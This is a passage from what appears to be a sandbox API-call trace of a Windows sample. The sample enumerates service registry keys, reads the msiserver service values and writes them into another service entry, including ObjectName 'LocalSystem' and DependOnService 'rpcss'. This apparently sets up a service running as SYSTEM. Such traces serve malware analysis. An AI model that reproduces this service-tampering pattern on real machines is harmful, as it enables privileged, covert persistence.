lpName="lmhosts") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0245.989] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0245.990] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0245.991] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0245.992] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0245.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0245.992] RegCloseKey (hKey=0x154) returned 0x0 [0245.992] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0245.992] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0245.992] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0246.042] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0246.042] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0246.042] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0246.042] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0246.042] RegCloseKey (hKey=0x80000002) returned 0x0 [0246.042] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0246.043] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.043] RegCloseKey (hKey=0x148) returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0246.043] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0246.044] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0246.044] RegCloseKey (hKey=0x154) returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0246.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.045] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.046] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.046] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0246.046] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0246.046] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.047] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.048] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.048] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0246.048] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.048] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.049] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.049] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0246.049] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, 